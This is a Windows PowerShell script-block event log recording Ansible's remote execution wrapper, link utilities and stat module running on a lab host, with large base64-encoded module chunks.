// TODO: should we check for \?\UNC\server for convert it to the NT style \\server path
// Remove the leading Windows object directory \?\ from the path if present
string targetPath = substituteName;
if (targetPath.StartsWith("\\??\\"))
targetPath = targetPath.Substring(4, targetPath.Length - 4);
string absolutePath = targetPath;
if (isRelative)
absolutePath = Path.GetFullPath(Path.Combine(new FileInfo(linkPath).Directory.FullName, targetPath));
return new LinkInfo
{
Type = linkType,
PrintName = printName,
SubstituteName = substituteName,
AbsolutePath = absolutePath,
TargetPath = targetPath
};
}
private static void CreateJunctionPoint(string linkPath, string linkTarget)
{
// We need to create the link as a dir beforehand
Directory.CreateDirectory(linkPath);
SafeFileHandle fileHandle = CreateFile(
linkPath,
FileAccess.Write,
FileShare.Read | FileShare.Write | FileShare.None,
IntPtr.Zero,
FileMode.Open,
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OPEN_REPARSE_POINT,
IntPtr.Zero);
if (fileHandle.IsInvalid)
throw new LinkUtilWin32Exception(String.Format("CreateFile({0}) failed", linkPath));
try
{
string substituteName = "\\??\\" + Path.GetFullPath(linkTarget);
string printName = linkTarget;
REPARSE_DATA_BUFFER buffer = new REPARSE_DATA_BUFFER();
buffer.SubstituteNameOffset = 0;
buffer.SubstituteNameLength = (UInt16)(substituteName.Length * SIZE_OF_WCHAR);
buffer.PrintNameOffset = (UInt16)(buffer.SubstituteNameLength + 2);
buffer.PrintNameLength = (UInt16)(printName.Length * SIZE_OF_WCHAR);
buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;
buffer.ReparseDataLength = (UInt16)(buffer.SubstituteNameLength + buffer.PrintNameLength + 12);
buffer.PathBuffer = new char[MAXIMUM_REPARSE_DATA_BUFFER_SIZE];
byte[] unicodeBytes = Encoding.Unicode.GetBytes(substituteName + "\0" + printName);
char[] pathBuffer = Encoding.Unicode.GetChars(unicodeBytes);
Array.Copy(pathBuffer, buffer.PathBuffer, pathBuffer.Length);
UInt32 bytesReturned;
if (!DeviceIoControl(
fileHandle,
FSCTL_SET_REPARSE_POINT,
buffer,
(UInt32)(buffer.ReparseDataLength + 8),
IntPtr.Zero, 0,
out bytesReturned,
IntPtr.Zero))
throw new LinkUtilWin32Exception(String.Format("DeviceIoControl() failed to create junction point at {0} to {1}", linkPath, linkTarget));
}
finally
{
fileHandle.Dispose();
}
}
}
}
'@
# FUTURE: find a better way to get the _ansible_remote_tmp variable
$original_tmp = $env:TMP
$remote_tmp = $original_tmp
$module_params = Get-Variable -Name complex_args -ErrorAction SilentlyContinue
if ($module_params) {
if ($module_params.Value.ContainsKey("_ansible_remote_tmp") ) {
$remote_tmp = $module_params.Value["_ansible_remote_tmp"]
$remote_tmp = [System.Environment]::ExpandEnvironmentVariables($remote_tmp)
}
}
$env:TMP = $remote_tmp
Add-Type -TypeDefinition $link_util
$env:TMP = $original_tmp
Import-PrivilegeUtil
# enable the SeBackupPrivilege if it is disabled
$state = Get-AnsiblePrivilege -Name SeBackupPrivilege
if ($state -eq $false) {
Set-AnsiblePrivilege -Name SeBackupPrivilege -Value $true
}
}
Function Get-Link($link_path) {
$link_info = [Ansible.LinkUtil]::GetLinkInfo($link_path)
return $link_info
}
Function Remove-Link($link_path) {
[Ansible.LinkUtil]::DeleteLink($link_path)
}
Function New-Link($link_path, $link_target, $link_type) {
if (-not (Test-Path -Path $link_target)) {
throw "link_target '$link_target' does not exist, cannot create link"
}
switch($link_type) {
"link" {
$type = [Ansible.LinkType]::SymbolicLink
}
"junction" {
if (Test-Path -Path $link_target -PathType Leaf) {
throw "cannot set the target for a junction point to a file"
}
$type = [Ansible.LinkType]::JunctionPoint
}
"hard" {
if (Test-Path -Path $link_target -PathType Container) {
throw "cannot set the target for a hard link to a directory"
}
$type = [Ansible.LinkType]::HardLink
}
default { throw "invalid link_type option $($link_type): expecting link, junction, hard" }
}
[Ansible.LinkUtil]::CreateLink($link_path, $link_target, $type)
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: cb72d942-ac1c-4569-895b-481991e25c6a
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2245 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4124 | 4360 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:09 AM | 61e00a24-ee3b-0005-ca07-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: ba8e5d48-2921-40b9-8daa-9a0c33a8ded5
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2244 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4124 | 4360 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:09 AM | 61e00a24-ee3b-0005-bb07-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (8 of 8):
le.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: 16c03d50-d2cf-44a2-911e-c793d635125d
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2243 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4124 | 4360 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:08 AM | 61e00a24-ee3b-0005-b507-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (7 of 8):
G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2xpYyBsaW5rLCBqdW5jdGlvbiBwb2ludCwgaGFyZCBsaW5rIGluZm8KICAgIExvYWQtTGlua1V0aWxzCiAgICB0cnkgewogICAgICAgICRsaW5rX2luZm8gPSBHZXQtTGluayAtbGlua19wYXRoICRpbmZvLkZ1bGxOYW1lCiAgICB9IGNhdGNoIHsKICAgICAgICBBZGQtV2FybmluZyAtb2JqICRyZXN1bHQgLW1lc3NhZ2UgIkZhaWxlZCB0byBjaGVjay9nZXQgbGluayBpbmZvIGZvciBmaWxlOiAkKCRfLkV4Y2VwdGlvbi5NZXNzYWdlKSIKICAgIH0KICAgIGlmICgkbGlua19pbmZvIC1uZSAkbnVsbCkgewogICAgICAgIHN3aXRjaCAoJGxpbmtfaW5mby5UeXBlKSB7CiAgICAgICAgICAgICJTeW1ib2xpY0xpbmsiIHsKICAgICAgICAgICAgICAgICRzdGF0LmlzbG5rID0gJHRydWUKICAgICAgICAgICAgICAgICRzdGF0LmlzcmVnID0gJGZhbHNlCiAgICAgICAgICAgICAgICAkc3RhdC5sbmtfdGFyZ2V0ID0gJGxpbmtfaW5mby5UYXJnZXRQYXRoCiAgICAgICAgICAgICAgICAkc3RhdC5sbmtfc291cmNlID0gJGxpbmtfaW5mby5BYnNvbHV0ZVBhdGggICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgICAgICJKdW5jdGlvblBvaW50IiB7CiAgICAgICAgICAgICAgICAkc3RhdC5pc2p1bmN0aW9uID0gJHRydWUKICAgICAgICAgICAgICAgICRzdGF0LmlzcmVnID0gJGZhbHNlCiAgICAgICAgICAgICAgICAkc3RhdC5sbmtfdGFyZ2V0ID0gJGxpbmtfaW5mby5UYXJnZXRQYXRoCiAgICAgICAgICAgICAgICAkc3RhdC5sbmtfc291cmNlID0gJGxpbmtfaW5mby5BYnNvbHV0ZVBhdGggICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgICAgICJIYXJkTGluayIgewogICAgICAgICAgICAgICAgJHN0YXQubG5rX3R5cGUgPSAiaGFyZCIKICAgICAgICAgICAgICAgICRzdGF0Lm5saW5rID0gJGxpbmtfaW5mby5IYXJkVGFyZ2V0cy5Db3VudAoKICAgICAgICAgICAgICAgICMgcmVtb3ZlIGN1cnJlbnQgcGF0aCBmcm9tIHRoZSB0YXJnZXRzCiAgICAgICAgICAgICAgICAkaGxua190YXJnZXRzID0gJGxpbmtfaW5mby5IYXJkVGFyZ2V0cyB8IFdoZXJlLU9iamVjdCB7ICRfIC1uZSAkc3RhdC5wYXRoIH0KICAgICAgICAgICAgICAgICRzdGF0LmhsbmtfdGFyZ2V0cyA9IEAoJGhsbmtfdGFyZ2V0cykKICAgICAgICAgICAgICAgIGJyZWFrCiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgogICAgJHJlc3VsdC5zdGF0ID0gJHN0YXQKfQoKRXhpdC1Kc29uICRyZXN1bHQK", "module_args": {"_ansible_version": "2.7.0", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "_ansible_no_log": false, "_ansible_module_name": "stat", "_ansible_debug": false, "_ansible_verbosity": 3, "_ansible_keep_remote_files": false, "_ansible_syslog_facility": "LOG_USER", "_ansible_socket": null, "_ansible_shell_executable": "/bin/sh", "_ansible_remote_tmp": "%TEMP%", "_ansible_diff": false, "get_checksum": true, "_ansible_check_mode": false, "checksum_algo": "sha1", "follow": false, "path": "C:\\eventlogjs.txt", "_ansible_tmpdir": "'C:\\Users\\Admin\\AppData\\Local\\Temp\\ansible-tmp-1611050467.96-174975739280923'"}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTab
ScriptBlock ID: 16c03d50-d2cf-44a2-911e-c793d635125d
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2242 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4124 | 4360 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:08 AM | 61e00a24-ee3b-0005-b507-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (6 of 8):
aiA9IEB7fSwgJGZhaWxpZmVtcHR5ID0gJGZhbHNlLCAkZW1wdHlhdHRyaWJ1dGVmYWlsbWVzc2FnZSwgJFZhbGlkYXRlU2V0LCAkVmFsaWRhdGVTZXRFcnJvck1lc3NhZ2UsICR0eXBlID0gJG51bGwsICRhbGlhc2VzID0gQCgpKQp7CjwjCiAgICAuU1lOT1BTSVMKICAgIEhlbHBlciBmdW5jdGlvbiB0byBnZXQgYW4gImF0dHJpYnV0ZSIgZnJvbSBhIHBzb2JqZWN0IGluc3RhbmNlIGluIFBvd2VyU2hlbGwuCiAgICBUaGlzIGlzIGEgY29udmVuaWVuY2UgdG8gbWFrZSBnZXR0aW5nIE1lbWJlcnMgZnJvbSBhbiBvYmplY3QgZWFzaWVyIGFuZAogICAgc2xpZ2h0bHkgbW9yZSBweXRob25pYwogICAgLkVYQU1QTEUKICA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icmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZiAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCIpIGJ1dCB3YXMgJCgkb2JqLiRuYW1lKS4iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICRWYWxpZGF0ZVNldEVycm9yTWVzc2FnZQogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHZhbHVlID0gJG9iai4kbmFtZQogICAgICAgIH0KICAgIH0gY2F0Y2ggewogICAgICAgIGlmICgkZmFpbGlmZW1wdHkgLWVxICRmYWxzZSkgewogICAgICAgICAgICAkdmFsdWUgPSAkZGVmYXVsdAogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgtbm90ICRlbXB0eWF0dHJpYnV0ZWZhaWxtZXNzYWd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AkcGF0aF9pbnZhbGlkID0gJHRydWUKICAgICAgICAgICAgICAgICMgY291bGQgc3RpbGwgYmUgYSB2YWxpZC1zaGFwZWQgcGF0aCB3aXRoIGEgbm9uZXhpc3RlbnQgZHJpdmUgbGV0dGVyCiAgICAgICAgICAgICAgICBpZiAoJHZhbHVlIC1tYXRjaCAiXlx3OiIpIHsKICAgICAgICAgICAgICAgICAgICAjIHJld3JpdGUgcGF0aCB3aXRoIGEgdmFsaWQgZHJpdmUgbGV0dGVyIGFuZCByZWNoZWNrIHRoZSBzaGFwZS0gdGhpcyBtaWdodCBzdGlsbCBmYWlsLCBlZywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ29udmVydCBzdHJpbmcgdHlwZSB0byByZWFsIFBvd2Vyc2hlbGwgYXJyYXkKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICR2YWx1ZS5TcGxpdCgiLCIpLlRyaW0oKQogICAgICAgICAgICB9IGVsc2VpZiAoJHZhbHVlIC1pcyBbaW50XSkgewogICAgICAgICAgICAgICAgJHZhbHVlID0gQCgkdmFsdWUpCiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICJHZXQtQW5zaWJsZVBhcmFtOiBQYXJhbW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gYXQgdGhlIGJvdHRvbSB0byBlbnN1cmUgYWxsIGRlZmluZWQgbW9kdWxlIHBhcnRzIGFyZSBleHBvcnRlZApFeHBvcnQtTW9kdWxlTWVtYmVyIC1BbGlhcyAqIC1GdW5jdGlvbiAqIC1DbWRsZXQgKgoK", "Ansible.ModuleUtils.FileUtil": "IyBDb3B5cmlnaHQgKGMpIDIwMTcgQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmllZCBCU0QgTGljZW5zZSAoc2VlIGxpY2Vuc2VzL3NpbXBsaWZpZWRfYnNkLnR4dCBvciBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL0JTRC0yLUNsYXVzZSkKCjwjClRlc3QtUGF0aC9HZXQtSXRlbSBjYW5ub3QgZmluZC9yZXR1cm4gaW5mbyBvbiBmaWxlcyB0aGF0IGFyZSBsb2NrZWQgbGlrZQpDOlxwYWdlZmlsZS5zeXMuIFRoZXNlIDIgZnVuY3Rpb25zI
ScriptBlock ID: 16c03d50-d2cf-44a2-911e-c793d635125d
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2241 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4124 | 4360 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:08 AM | 61e00a24-ee3b-0005-b507-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (5 of 8):
3ZlIHRoZSBsZWFkaW5nIFdpbmRvd3Mgb2JqZWN0IGRpcmVjdG9yeSBcP1wgZnJvbSB0aGUgcGF0aCBpZiBwcmVzZW50CiAgICAgICAgICAgIHN0cmluZyB0YXJnZXRQY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ICAgICAgICAgICAgICAgICAgYnVmZmVyLAogICAgICAgICAgICAgICAgICAgIChVSW50MzIpKGJ1ZmZlci5SZXBhcnNlRGF0YUxlbmd0aCArIDgpLAogICAgICAgICAgICAgICAgICAgIEludFB0ci5aZXJvLCAwLAogICAgICAgICAgICAgICAgICAgIG91dCBieXRlc1JldHVybmVkLAogICAgICAgICAgICAgICAgICAgIEludFB0ci5aZXJvKSkKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgTGlua1V0aWxXaW4zMkV4Y2VwdGlvbihTdHJpbmcuRm9ybWF0KCJEZXZpY2VJb0NvbnRyb2woKSBmYWlsZWQgdG8gY3JlYXRlIGp1bmN0aW9uIHBvaW50IGF0IHswfSB0byB7MX0iLCBsaW5rUGF0aCwgbGlua1RhcmdldCkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZpbmFsbHkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgZmlsZUhhbmRsZS5EaXNwb3NlKCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KJ0AKCiAgICAjIEZVVFVSRTogZmluZCBhIGJldHRlciB3YXkgdG8gZ2V0IHRoZSBfYW5zaWJsZV9yZW1vdGVfdG1wIHZhcmlhYmxlCiAgICAkb3JpZ2luYWxfdG1wID0gJGVudjpUTVAKCiAgICAkcmVtb3RlX3RtcCA9ICRvcmlnaW5hbF90bXAKICAgICRtb2R1bGVfcGFyYW1zID0gR2V0LVZhcmlhYmxlIC1OYW1lIGNvbXBsZXhfYXJncyAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQogICAgaWYgKCRtb2R1bGVfcGFyYW1zKSB7CiAgICAgICAgaWYgKCRtb2R1bGVfcGFyYW1zLlZhbHVlLkNvbnRhaW5zS2V5KCJfYW5zaWJsZV9yZW1vdGVfdG1wIikgKSB7CiAgICAgICAgICAgICRyZW1vdGVfdG1wID0gJG1vZHVsZV9wYXJhbXMuVmFsdWVbIl9hbnNpYmxlX3Jl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HJlY2F0aW9ucyA9IEAoKQogICAgfSBlbHNlaWYgKCRvYmouZGVwcmVjYXRpb25zIC1pc25vdCBbYXJyYXldKSB7CiAgICAgICAgdGhyb3cgIkFkZC1EZXByZWNhdGlvbldhcm5pbmc6IGRlcHJlY2F0aW9ucyBhdHRyaWJ1dGUgaXMgbm90IGEgbGlzdCIKICAgIH0KCiAgICAkb2JqLmRlcHJlY2F0aW9ucyArPSBAewogICAgICAgIG1zZyA9ICRtZXNzYWdlCiAgICAgICAgdmVyc2lvbiA9ICR2ZXJzaW9uCiAgICB9Cn0KCkZ1bmN0aW9uIEV4cGFuZC1FbnZpcm9ubWVudCgkdmFsdWUpCnsKPCMKICAgIC5TWU5PUFNJUwogICAgSGVscGVyIGZ1bmN0aW9uIHRvIGV4cGFuZCBlbnZpcm9ubWVudCB2YXJpYWJsZXMgaW4gdmFsdWVzLiBCeSBkZWZhdWx0CiAgICBpdCB0dXJucyBhbnkgdHlwZSB0byBhIHN0cmluZywgYnV0IHdlIGVuc3VyZSAkbnVsbCByZW1haW5zICRudWxsLgojPgogICAgaWYgKCRudWxsIC1uZSAkdmFsdWUpIHsKICAgICAgICBbU3lzdGVtLkVudmlyb25tZW50XTo6RXhwYW5kRW52aXJvbm1lbnRWYXJpYWJsZXMoJHZhbHVlKQogICAgfSBlbHNlIHsKICAgICAgICAkdmFsdWUKICAgIH0KfQoKRnVuY3Rpb24gR2V0LUFuc2libGVQYXJhbSgkb2JqLCAkbmFtZSwgJGRlZmF1bHQgPSAkbnVsbCwgJHJlc3VsdG9i
ScriptBlock ID: 16c03d50-d2cf-44a2-911e-c793d635125d
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2240 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4124 | 4360 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 10:01:08 AM | 61e00a24-ee3b-0005-b507-e7613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 8):
dGVzLAogICAgICAgICAgICBbTWFyc2hhbEFzKFVubWFuYWdlZFR5cGUuVTQpXSBGaWxlTW9kZSBkd0NyZWF0aW9uRGlzcG9zaXRpb24sCiAgICAgICAgICAgIFVJbnQzMiBkd0ZsYWdzQW5kQXR0cmlidXRlcywKICAgICAgICAgICAgSW50UHRyIGhUZW1wbGF0ZUZpbGUpOwoKICAgICAgICAvLyBVc2VkIGJ5IEdldFJlcGFyc2VQb2ludEluZm8oKQogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUsIENoYXJTZXQgPSBDaGFyU2V0LkF1dG8pXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIERldmljZUlvQ29udHJvbCgKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgaERldmljZSwKICAgICAgICAgICAgVUludDMyIGR3SW9Db250cm9sQ29kZSwKICAgICAgICAgICAgSW50UHRyIGxwSW5CdWZmZXIsCiAgICAgICAgICAgIFVJbnQzMiBuSW5CdWZmZXJTaXplLAogICAgICAgICAgICBvdXQgUkVQQVJTRV9EQVRBX0JVRkZFUiBscE91dEJ1ZmZlciwKICAgICAgICAgICAgVUludDMyIG5PdXRCdWZmZXJTaXplLAogICAgICAgICAgICBvdXQgVUludDMyIGxwQnl0ZXNSZXR1cm5lZCwKICAgICAgICAgICAgSW50UHRyIGxwT3ZlcmxhcHBlZCk7CgogICAgICAgIC8vIFVzZWQgYnkgQ3JlYXRlSnVuY3Rpb25Qb2ludCgpCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID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bmsoc3RyaW5nIGxpbmtQYXRoKQogICAgICAgIHsKICAgICAgICAgICAgYm9vbCBzdWNjZXNzOwogICAgICAgICAgICBGaWxlQXR0cmlidXRlcyBhdHRyID0gRmlsZS5HZXRBdHRyaWJ1dGVzKGxpbmtQYXRoKTsKICAgICAgICAgICAgaWYgKGF0dHIuSGFzRmxhZyhGaWxlQXR0cmlidXRlcy5EaXJlY3RvcnkpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBzdWNjZXNzID0gUmVtb3ZlRGlyZWN0b3J5KGxpbmtQYXRoKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIHN1Y2Nlc3MgPSBEZWxldGVGaWxlKGxpbmtQYXRoKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKCFzdWNjZXNzKQogICAgICAgICAgICAgICAgdGhyb3cgbmV3IExpbmtVdGlsV2luMzJFeGNlcHRpb24oU3RyaW5nLkZvcm1hdCgiRmFpbGVkIHRvIGRlbGV0ZSBsaW5rIGF0IHswfSIsIGxpbmtQYXRoKSk7CiAgICAgICAgfQoKICAgICAgICBwdWJsaWMgc3RhdGljIHZvaWQgQ3JlYXRlTGluayhzdHJpbmcgbGlua1BhdGgsIFN0cmluZyBsaW5rVGFyZ2V0LCBMaW5rVHlwZSBsaW5rVHlwZSkKICAgICAgICB7CiAgICAgICAgICAgIHN3aXRjaCAobGlua1R5cGUpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGNhc2UgTGlua1R5cGUuU3ltYm9saWNMaW5rOgogICAgICAgICAgICAgICAgICAgIFVJbnQzMiBsaW5rRmxhZ3M7CiAgICAgICAgICAgICAgICAgICAgRmlsZUF0dHJpYnV0ZXMgYXR0ciA9IEZpbGUuR2V0QXR0cmlidXRl